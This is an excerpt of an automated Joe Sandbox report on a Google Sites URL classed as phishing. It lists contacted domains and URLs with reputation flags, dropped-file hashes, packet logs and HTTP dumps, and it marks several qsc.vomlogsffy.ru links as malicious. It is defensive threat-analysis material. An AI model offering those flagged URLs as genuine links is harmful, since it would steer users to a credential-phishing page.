plus.l.google.com	142.250.181.46	true	false	high
play.google.com	142.250.181.110	true	false	high
code.jquery.com	151.101.66.137	true	false	high
d2vgu95hoyrpkh.cloudfront.net	52.222.144.22	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
cdn.prod.website-files.com	104.18.160.117	true	false	high
www.google.com	172.217.19.228	true	false	high
qsc.vomlogsffy.ru	172.67.176.26	true	false	high
2ywj9czwlewyobuuezrzvmti4qf3jrhn3w6oygx94q6t6tmdxxjpe9y.ijmzazonz.com	104.21.33.55	true	false	high
cdn.socket.io	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Name	Malicious	Reputation
https://qsc.vomlogsffy.ru/817416564741095CCDKCMTBPOHNGGAN?WMCGLXCRNNTEUZTTZJRDGI8405435225447185877xykdlr0yzgnfg3rojeku	true	unknown
https://res.public.onecdn.static.microsoft/creativeservice/2d863f0f-0fd5-72db-6971-f905df03ef53_3255140379518978990_128000000004796009_assets__image_1709055739600.jpg	false	high
https://code.jquery.com/jquery-3.6.0.min.js	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.lb.en.eXGUr_3hPjA.O/m=client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo-g8reFxkIuQ1pTpW4rHM0-Devz-A/cb=gapi.loaded_0?le=scs	false	high
https://qsc.vomlogsffy.ru/z9yaFIg/	true	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	high
https://cdn.prod.website-files.com/5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp	false	high
https://cdnjs.cloudflare.com/ajax/libs/list.js/2.3.1/list.min.js	false	high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Map/RoadVibrant/40.7402,-73.9728/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AuK9Wj9_fIFeSA2BncPNlMXKaYsr9N1FuExVVA5dMSpJYQ8_Ga2AaeMqEE2MT2j6&c=de-ch&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=40.740213,-73.972776;cgt	false	high
https://www.google.com/url?q=https%3A%2F%2Fqsc.vomlogsffy.ru%2Fz9yaFIg%2F&sa=D&sntz=1&usg=AOvVaw0qTysX0k8kMDawtAOx2OGv	false	high
https://cxcs.microsoft.net/api/tips-content/de-ch/xml/tips?release=cobalt&environment=dashboard&resolutionType=merge	false	high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png	false	high
https://apis.google.com/js/client.js?onload=gapiLoaded	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://scriptz.corp.google.com/	chromecache_328.1.dr, chromecache_572.1.dr	false	Avira URL Cloud: safe	unknown
https://apis.google.com/js/client.js	chromecache_523.1.dr	false		high
https://console.developers.google.com/	chromecache_172.1.dr, chromecache_545.1.dr	false		high
https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://reportingwidget.google.com/u/0/widget/	chromecache_388.1.dr, chromecache_202.1.dr	false	Avira URL Cloud: safe	unknown
https://angular.dev/license	chromecache_328.1.dr, chromecache_572.1.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_323.1.dr, chromecache_172.1.dr, chromecache_523.1.dr, chromecache_545.1.dr	false		high
https://support.google.com/a/answer/10411339	chromecache_208.1.dr	false		high
https://www.google.com/shopping/customerreviews/badge?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://pay.google.com/gp/v/widget/save	chromecache_523.1.dr	false		high
https://drive.google.com/savetodrivebutton?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://one.google.com/plans	chromecache_387.1.dr, chromecache_208.1.dr	false		high
https://one.google.com/storage/management	chromecache_387.1.dr, chromecache_208.1.dr	false		high
https://www.google.com/shopping/customerreviews/optin?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://developers.google.com/api-client-library/javascript/reference/referencedocs	chromecache_172.1.dr, chromecache_545.1.dr	false		high
https://apis.google.com	chromecache_523.1.dr, chromecache_545.1.dr	false		high
https://developers.google.com/	chromecache_172.1.dr, chromecache_545.1.dr	false		high
https://domains.google.com/suggest/flow	chromecache_172.1.dr, chromecache_545.1.dr	false		high
https://support.google.com/cloudsearch/answer/6172299	chromecache_387.1.dr, chromecache_208.1.dr	false		high
https://developers.google.com/identity/gsi/web/guides/gis-migration)	chromecache_545.1.dr	false		high
https://classroom.google.com/sharewidget?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	chromecache_328.1.dr, chromecache_572.1.dr	false		high
https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html	chromecache_545.1.dr	false		high
https://workspace.google.com/products/sites/	chromecache_328.1.dr, chromecache_572.1.dr	false		high
https://www.youtube.com/subscribe_embed?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://plus.google.com	chromecache_545.1.dr	false		high
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_328.1.dr, chromecache_572.1.dr	false		high
https://clients3.google.com/cast/chromecast/home/widget/backdrop?usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://one.google.com/storage	chromecache_387.1.dr, chromecache_208.1.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_572.1.dr	false		high
https://talkgadget.google.com/:session_prefix:talkgadget/_/widget	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://play.google.com/work/embedded/search?usegapi=1&usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://rapid.corp.google.com/	chromecache_328.1.dr, chromecache_572.1.dr	false	Avira URL Cloud: safe	unknown
https://reportingwidget-staging.corp.google.com/u/0/widget/	chromecache_388.1.dr, chromecache_202.1.dr	false		high
https://families.google.com/webcreation?usegapi=1&usegapi=1	chromecache_323.1.dr, chromecache_523.1.dr	false		high
https://fonts.google.com/license/googlerestricted	chromecache_490.1.dr	false		high
https://clients6.google.com	chromecache_545.1.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
104.26.4.62	flagpedia.net	United States	13335	CLOUDFLARENETUS	false
172.67.176.26	qsc.vomlogsffy.ru	United States	13335	CLOUDFLARENETUS	false
104.18.160.117	cdn.prod.website-files.com	United States	13335	CLOUDFLARENETUS	false
52.222.144.22	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
172.67.71.230	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.33.55	2ywj9czwlewyobuuezrzvmti4qf3jrhn3w6oygx94q6t6tmdxxjpe9y.ijmzazonz.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.181.46	plus.l.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.222.144.56	unknown	United States	16509	AMAZON-02US	false
104.21.56.29	unknown	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577712
Start date and time:	2024-12-18 17:15:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://sites.google.com/kula.ai/rdps/home
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@19/700@42/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 20 x 13, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	278
Entropy (8bit):	6.8547662073120765
Encrypted:	false
SSDEEP:	6:6v/lhPdec15mZAj9zZWZyU9XVySzoHhbZL/CQ80Xjp:6v/7Ac15b9ZWZyOVyAoHLKQ80N
MD5:	372850DD4A07CC63B27CA84DDF6788A6
SHA1:	F8783E70992DE7A0806058268F1D56EA3056DE6D
SHA-256:	9D2BD0F2194E97D10EC8AC492A4497368E2DEBB269795D46CDE4DFFD96A35741
SHA-512:	99430CD8EBE674BA3774145953173947456EBDD89194F96444BE2134355F9593FA30E3AD991E86689D697EC30A84A86BE357D1A7C08857C62E6FDDE5DC7939F9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................l...`PLTE.........]M....mZ........:"......d]./ ......."..1%.8J.....-.6=..O.1..&....}g.........p..w4..b.pU...qIDAT..U...E .F.m.'..9...K.Z?..R.f.M.U.f.W.O.....&.eE.O.~.fI..O..y..9....2?...n..Xj..8f..U..spl..x'..;.x...<...{......IEND.B`.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 17:17:06.180273056 CET	443	49357	23.219.82.75	192.168.2.24
Dec 18, 2024 17:17:06.302622080 CET	49357	443	192.168.2.24	23.219.82.75
Dec 18, 2024 17:17:06.381089926 CET	53	59431	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:06.413712025 CET	53	63484	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:07.610879898 CET	443	49357	23.219.82.75	192.168.2.24
Dec 18, 2024 17:17:07.612211943 CET	53	51927	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:07.639076948 CET	49357	443	192.168.2.24	23.219.82.75
Dec 18, 2024 17:17:09.328171015 CET	53	53111	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:10.288686991 CET	57047	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:10.288944960 CET	54605	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:10.426517010 CET	53	54605	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:10.426600933 CET	53	57047	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:10.926430941 CET	53	65013	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:11.013468027 CET	53	54392	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:11.025496006 CET	59849	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:11.025648117 CET	50233	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:11.162658930 CET	53	50233	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:11.162678003 CET	53	59849	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:14.082173109 CET	62618	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:14.082372904 CET	63172	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:14.219080925 CET	53	62618	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:14.220134974 CET	53	63172	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:15.596379995 CET	53	61192	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:16.179004908 CET	443	49357	23.219.82.75	192.168.2.24
Dec 18, 2024 17:17:16.638456106 CET	53	56282	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:22.211877108 CET	50764	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:22.212054968 CET	63600	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:22.350217104 CET	53	50764	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:22.350665092 CET	53	63600	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:25.182012081 CET	53	53016	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:25.869664907 CET	53	49840	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:25.980175972 CET	65272	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:25.980380058 CET	51138	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:26.122204065 CET	53	65272	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:26.123296976 CET	53	51138	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:26.441593885 CET	53	51874	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:27.882467985 CET	65498	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:27.882889986 CET	56211	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:28.019612074 CET	53	65498	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:28.019679070 CET	53	56211	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:28.612071991 CET	53	58182	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:30.197534084 CET	59225	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:30.197969913 CET	56201	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:30.334975958 CET	53	56201	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:30.337426901 CET	53	59225	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:32.821074009 CET	60525	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:32.821247101 CET	54781	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:32.959398031 CET	53	54781	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:32.959414959 CET	53	60525	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:33.063544035 CET	53	53075	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:35.408520937 CET	53	63362	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:36.906697989 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:36.906856060 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:36.907097101 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:37.922239065 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:37.922365904 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.001466990 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.003575087 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.048679113 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.246623039 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.246646881 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.246680021 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.246757030 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.247090101 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.247168064 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.247210026 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.289999008 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.320084095 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.355775118 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.562026024 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.562041044 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:38.595639944 CET	52013	443	192.168.2.24	162.159.61.3
Dec 18, 2024 17:17:38.604768991 CET	443	52013	162.159.61.3	192.168.2.24
Dec 18, 2024 17:17:40.468401909 CET	61547	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:40.468401909 CET	50336	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:40.607482910 CET	53	61547	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:40.608381033 CET	53	50336	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:43.009634018 CET	64304	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:43.009793997 CET	54679	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:17:43.155132055 CET	53	64304	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:43.156230927 CET	53	54679	1.1.1.1	192.168.2.24
Dec 18, 2024 17:17:45.301634073 CET	53	65503	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:05.782864094 CET	53	60452	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:08.075668097 CET	53	50366	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:15.639842033 CET	49955	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:15.640055895 CET	53482	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:15.966537952 CET	53	53482	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:15.967307091 CET	53	49955	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:16.472610950 CET	58966	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:16.472940922 CET	64552	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:16.614165068 CET	53	58966	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:16.614226103 CET	53	64552	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:19.919786930 CET	62603	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:19.920351982 CET	49912	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:20.058866024 CET	53	62603	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:20.059879065 CET	53	49912	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:20.740982056 CET	61928	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:20.741161108 CET	57312	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:20.879894018 CET	53	61928	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:20.880553007 CET	53	57312	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:21.638673067 CET	59219	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:21.638864994 CET	61631	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:21.776406050 CET	53	61631	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:21.777787924 CET	53	59219	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:25.174072981 CET	53131	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:25.174242973 CET	50381	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:25.311737061 CET	53	50381	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:25.312788963 CET	53	53131	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:27.358139038 CET	52012	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:27.358352900 CET	51537	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:27.954591036 CET	53	51537	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:27.955806017 CET	53	52012	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:30.398346901 CET	58867	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:30.398649931 CET	52602	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:30.589509964 CET	53	52602	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:30.629470110 CET	53	58867	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:31.785185099 CET	61404	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:31.786098957 CET	58972	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:31.926206112 CET	53	61404	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:31.927592039 CET	53	58972	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:33.679822922 CET	53	54187	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:33.808904886 CET	53075	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:33.808904886 CET	56893	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:18:33.948132992 CET	53	53075	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:33.948471069 CET	53	56893	1.1.1.1	192.168.2.24
Dec 18, 2024 17:18:38.560764074 CET	53	51982	1.1.1.1	192.168.2.24
Dec 18, 2024 17:19:16.481791019 CET	61237	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:19:16.481986046 CET	55183	53	192.168.2.24	1.1.1.1
Dec 18, 2024 17:19:16.621423960 CET	53	61237	1.1.1.1	192.168.2.24
Dec 18, 2024 17:19:16.621440887 CET	53	55183	1.1.1.1	192.168.2.24

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:17:43.859132051 CET	227	OUT	GET / HTTP/1.1 Cache-Control: max-age = 3600 Connection: Keep-Alive Accept: / If-Modified-Since: Mon, 12 Feb 2024 22:07:27 GMT If-None-Match: "65ca969f-2cd" User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.c.lencr.org
Dec 18, 2024 17:17:45.298962116 CET	1023	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-crl Last-Modified: Fri, 13 Dec 2024 18:01:23 GMT ETag: "675c7673-2de" Cache-Control: max-age=3600 Expires: Wed, 18 Dec 2024 17:17:45 GMT Date: Wed, 18 Dec 2024 16:17:45 GMT Content-Length: 734 Connection: keep-alive Data Raw: 30 82 02 da 30 81 c3 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 17 0d 32 34 31 32 31 31 30 30 30 30 30 30 5a 17 0d 32 35 31 31 31 30 32 33 35 39 35 39 5a a0 40 30 3e 30 1f 06 03 55 1d 23 04 18 30 16 80 14 79 b4 59 e6 7b b6 e5 e4 01 73 80 08 88 c8 1a 58 f6 e9 9b 6e 30 0a 06 03 55 1d 14 04 03 02 01 69 30 0f 06 03 55 1d 1c 01 01 ff 04 05 30 03 82 01 ff 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 02 01 00 25 d9 d5 af d1 d6 2f 91 05 35 50 65 d7 ad 13 d8 3b 73 d1 3f 5e 09 69 7f d7 82 29 12 c5 82 d0 96 fe 5f 07 a4 fe f5 92 dc e4 e2 8a 1a 2a 29 c5 eb 97 c8 85 a5 44 9b 9d ba 7b 05 2b 3f e3 3c 18 1c de 8d 37 f6 27 b5 e7 9b ef 45 e7 57 0e c1 f9 07 a5 95 44 fe e1 de 7f 9d e1 31 8c f8 1b 4f 18 5d f8 3d d7 5b e6 e2 03 a6 cb 71 0d ef 7a fe e0 8e f4 5d 1c c5 [TRUNCATED] Data Ascii: 000H0O10UUS1)0'U Internet Security Research Group10UISRG Root X1241211000000Z251110235959Z@0>0U#0yY{sXn0Ui0U00H%/5Pe;s?^i)_)D{+?<7'EWD1O]=[qz]"2t@^+(zULdQpK?W)pqxW[6[V7?36_s$BwT+xw_]df_nu}yIqC`sVuP,@`\|T+`/Pm w[!:O%'w9enSkbv}gGL")V 2kzr/xx}8i]oA,^i=pt>#6&7$_?k/( kAslBQDhXh~N T/BF?QCGwsS:

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:16:55 UTC	746	OUT	GET /api/tips-content/de-ch/xml/tips?release=cobalt&environment=dashboard&resolutionType=merge HTTP/1.1 Host: cxcs.microsoft.net Connection: keep-alive sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Microsoft Edge";v="100", "Microsoft Edge WebView2";v="100" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://windows.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://windows.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "93eaa60326dc4c17c3c6a4c2dbeb6569"
2024-12-18 16:16:55 UTC	203	IN	HTTP/1.1 304 Not Modified Content-Type: text/xml; charset=utf-8 ETag: "93eaa60326dc4c17c3c6a4c2dbeb6569" Cache-Control: public, max-age=1548 Date: Wed, 18 Dec 2024 16:16:55 GMT Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:16:55 UTC	878	OUT	GET /REST/v1/Imagery/Map/RoadVibrant/40.7402,-73.9728/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AuK9Wj9_fIFeSA2BncPNlMXKaYsr9N1FuExVVA5dMSpJYQ8_Ga2AaeMqEE2MT2j6&c=de-ch&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=40.740213,-73.972776;cgt HTTP/1.1 Host: ecn.dev.virtualearth.net Connection: keep-alive sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Microsoft Edge";v="100", "Microsoft Edge WebView2";v="100" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://windows.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:16:56 UTC	752	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Headers: Content-Type,X-FD-Features,X-FD-FLIGHT,PreferAnonymous Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Origin: * X-BM-TraceID: 6d2553135119bb68dbfa747c5e191506 X-BM-Srv: mapsplatform-frontend-6f4cf56799-cf4r2, mapsplatform-imagery-service-54d7d98896-dfj6c X-MS-BM-WS-INFO: 0 X-BM-FE-Elapsed: 258 x-azure-ref: 20241218T155830Z-156796c549b6f4fzhC1EWRm0vs0000000f9g000000008p18 AKS_4209_WEIGHT: 100 Content-Length: 125024 Cache-Control: public, max-age=108 Date: Wed, 18 Dec 2024 16:16:55 GMT Connection: close X-Cache-Remote: TCP_MISS from a23-200-89-36.deploy.akamaitechnologies.com (AkamaiGHost/11.7.2.1-35a4fcef889a1f053c9fa641f2ccd99a) (-)
2024-12-18 16:16:56 UTC	527	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0a 00 00 00 c0 08 02 00 00 00 73 ad ba f8 00 00 20 00 49 44 41 54 78 01 5c bb 05 90 5d e7 95 35 aa 81 cc e4 cf 4c 26 3c 61 33 c7 8c b1 13 c7 10 70 4c a1 09 d9 c9 24 86 d8 8e 6d c9 b2 25 8b 65 b1 2d d9 16 98 64 10 37 33 ab 45 0d 6a 06 35 dc ee cb cc 78 98 f9 9c f5 ea c8 79 55 ef fd 55 a7 ba 6e 5f ea 5b b7 bf b5 f7 5e b0 97 84 40 1e 61 26 7f 32 fe fa 77 07 5f fa 6c df 5f 7f 8f b6 bf 59 3d b7 0f bd 7e 51 e3 da 7b 07 f6 ef 14 17 e7 a0 71 20 2c 75 d1 11 86 ac 4a 9d 16 dd 01 a5 07 95 64 de 5b 8e c7 b5 50 56 0a 57 32 34 2a b2 5d 54 cc 92 62 31 a2 c9 65 c8 6c 28 1e ac e4 cb b6 69 71 26 31 8b ec af b3 0d 17 74 6d 78 3f 34 98 b5 d8 a2 49 d1 3a 5d 2c e7 e2 a5 5c d0 e0 4a d0 15 a7 14 a7 87 57 f5 3e b9 67 61 6b Data Ascii: PNGIHDRs IDATx\]5L&<a3pL$m%e-d73Ej5xyUUn_[^@a&2w_l_Y=~Q{q ,uJd[PVW24*]Tb1el(iq&1tmx?4I:],\JW>gak
2024-12-18 16:16:56 UTC	16384	IN	Data Raw: d2 a6 a9 3b 96 5e 06 48 d9 90 74 40 81 55 14 89 1c 9d 0f 99 a9 5d a5 9a 87 7a fe f0 f6 dc d2 81 cc 5b 84 36 00 e4 58 93 4d d3 c5 6c 39 9e d3 f3 7e 10 1d 48 dc d8 be e9 bb fd eb ff 63 f2 f9 ff 3c f3 f4 36 65 72 0a f9 f7 cf be 1c e3 de 25 b9 f7 34 67 68 91 21 da a2 ea c7 7e 7d c7 30 fd fc a1 99 23 e7 cc ae 34 ea fc 38 78 4e 3a 32 af 74 e7 d1 91 41 5d c8 aa 0b 3a f5 01 d4 07 d0 e8 47 93 0f 4d 5e f7 ea 58 a4 7a 3c 85 a9 18 91 63 24 cd 50 75 99 b2 e5 b2 a3 11 64 39 95 2b e7 2b 92 46 da 08 50 4e e7 6c b6 66 34 de b6 c0 b4 fa 8c e6 00 9a 43 ee fb d4 fa 51 1d 70 af aa 00 9a 93 68 8c a1 c6 87 f7 c7 d8 67 de 1d 7c 67 a0 74 6c 46 ae 5a 30 6a c3 38 b8 88 ba 30 6a 17 b5 16 2f 7f dc 4f ce e6 44 52 07 2b 69 92 24 f0 4c 45 97 38 38 a6 a9 2a 9a a2 aa ba c2 69 64 0e 6c 13 Data Ascii: 